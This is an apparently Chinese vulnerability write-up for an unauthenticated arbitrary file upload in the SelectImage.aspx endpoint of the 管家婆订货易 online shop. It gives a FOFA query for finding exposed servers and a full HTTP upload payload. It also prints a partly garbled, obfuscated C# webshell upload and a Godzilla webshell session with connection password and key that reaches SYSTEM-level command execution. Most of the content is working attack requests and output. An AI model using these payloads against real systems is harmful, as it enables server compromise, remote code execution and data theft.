

G1-2管家婆-订货易在线商城-文件上传

漏洞描述：

管家婆订货易在线商城SelectImage.aspx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过该漏洞，上传恶意后门文件，深入利用可造成代码执行和服务器失陷。

影响版本：

网站图片：



网络测绘：

fofa语法：

FOFA: icon\_hash="-1513302527"

漏洞复现：

payload:

```
POST /DialogTemplates/SelectImage.aspx?type=titleimg&size=30*100&pageIndex=1&iscallback=true HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh;T21kQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=532c7611457d40f4ae4cd9422973416b

--532c7611457d40f4ae4cd9422973416b
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/jpeg

<% Response.Write("Test"); %>
--532c7611457d40f4ae4cd9422973416b--
```

效果图：

Request

< > 数据包扫描 热加载 构造请求

1

POST /DialogTemplates/SelectImage.aspx?type=titleimg&size=30\*100&pageIndex=1&iscallback=true HTTP/1.1

2

Host :

3

User-Agent: Mozilla/5.0 (Macintosh;T21kQm95X0c= Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4

Accept-Encoding: gzip

5

Content-Type: multipart/form-data; boundary=532c7611457d40f4ae4cd9422973416b

6

--532c7611457d40f4ae4cd9422973416b

7

Content-Disposition: form-data; name="Filedata"; filename="1.aspx"

8

Content-Type: image/jpeg

9

10

11

<% Response.Write("Test"); %>

12

--532c7611457d40f4ae4cd9422973416b--

Responses

78bytes / 1281ms

1

HTTP/1.1 200 OK

2

Cache-Control: private

3

Content-Type: text/html; charset=utf-8

4

Vary: Accept-Encoding

5

Server: Microsoft-IIS/8.5

6

X-AspNet-Version: 4.0.30319

7

X-Powered-By: ASP.NET

8

Access-Control-Allow-Origin: \*

9

Date: Mon, 20 Nov 2023 13:16:48 GMT

10

Content-Length: 78

11

12

/templates/master/pc/fangmeilele/UploadImage/20231120211648\_9887.aspx

回显了完整的上传路径

< > ↺

不安全 | 1/templates/master/pc/fangmeilele/UploadImage/20231120211648\_9887.aspx

Test

Request

< > 数据包扫描 热加载 构造请求

1

POST /DialogTemplates/SelectImage.aspx?type=titleimg&size=30\*100&pageIndex=1&iscallback=true HTTP/1.1

2

Host :

3

User-Agent: Mozilla/5.0 (Macintosh;T21kQm95X0c= Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4

Accept-Encoding: gzip

5

Content-Type: multipart/form-data; boundary=532c7611457d40f4ae4cd9422973416b

6

--532c7611457d40f4ae4cd9422973416b

7

Content-Disposition: form-data; name="Filedata"; filename="1.aspx"

8

Content-Type: image/jpeg

9

10

11

<%@ Page Language="C#" %>

12

<%try {

13

string eduvs9 = "\u0053\u0079\u0073\u0074\u0065\u0060.Text.

\u00000041\u00000053\u00000043\u00000049\u00000049\u00000045\u0000006E\u00000063\u0000006F\u00000064

\u00000069\u0000006E\u00000067.ASCII.GetString("\u0053\u0079\u0073\u0074\u0065\u0060.

\u00000043\u0000006F\u0000006E\u00000076\u00000065\u00000072\u00000074.

\u00000046\u00000072\u0000006F\u0000006D\u00000042\u00000061\u00000073\u00000065\u00000036\u00000034

\u00000053\u00000074\u00000072\u00000069\u0000006E\u00000067(\u0053\u0079\u0073\u0074\u0065\u0060.

Text.

\u00000041\u00000053\u00000043\u00000049\u00000049\u00000045\u0000006E\u00000063\u0000006F\u00000064

\u00000069\u0000006E\u00000067.ASCII.GetString("\u0053\u0079\u0073\u0074\u0065\u0060.

\u00000043\u0000006F\u0000006E\u00000076\u00000065\u00000072\u00000074.

\u00000046\u00000072\u0000006F\u0000006D\u00000042\u00000061\u00000073\u00000065\u00000036\u00000034

\u00000053\u00000074\u00000072\u00000069\u0000006E\u00000067(\u0053\u0079\u0073\u0074\u0065\u0060.

Responses

78bytes / 49ms

1

HTTP/1.1 200 OK

2

Cache-Control: private

3

Content-Type: text/html; charset=utf-8

4

Vary: Accept-Encoding

5

Server: Microsoft-IIS/8.5

6

X-AspNet-Version: 4.0.30319

7

X-Powered-By: ASP.NET

8

Access-Control-Allow-Origin: \*

9

Date: Mon, 20 Nov 2023 13:24:17 GMT

10

Content-Length: 78

11

12

/templates/master/pc/fangmeilele/UploadImage/20231120211648\_9887.aspx

GetShell

目标管理配置关于插件

哥斯拉 V4.01 by: BeichenDream Github:https://github.com/BeichenDream/Godzilla

分组

/

id	url	payload
----	-----	---------

Shell Setting

基础配置请求配置

URLig/20231120212417\_2211.aspx

密码Tas9er

密钥sYobQMATxCy

连接超时3000

读取超时60000

代理主机

代理端口

备注

GROUP

代理类型NO\_PROXY

编码UTF-8

有效载荷CShapDynamicPayload

提示

Success!

确定

Url:http://127.0.0.1:8080/templates/master/pc/fangmeilele/UploadImage/titleimg/20231120212417\_2211.aspx Payload:CShapDynamicPayload C

PetitPotamMemoryShellShellcodeLoaderSuperTerminalHttpProxylemonEfsPotato

基础信息

命令执行

文件管理

数据库管理

命令模板cmd /c "{command}" 2>&1

```
currentDir:c:/windows/system32/inetsrv/
fileRoot:[C:\, D:\, O:\]
currentUser:SYSTEM
osInfo:Microsoft Windows NT 6.3.9600.0

c:/windows/system32/inetsrv/ >whoami

nt authority\system
c:/windows/system32/inetsrv/ >
```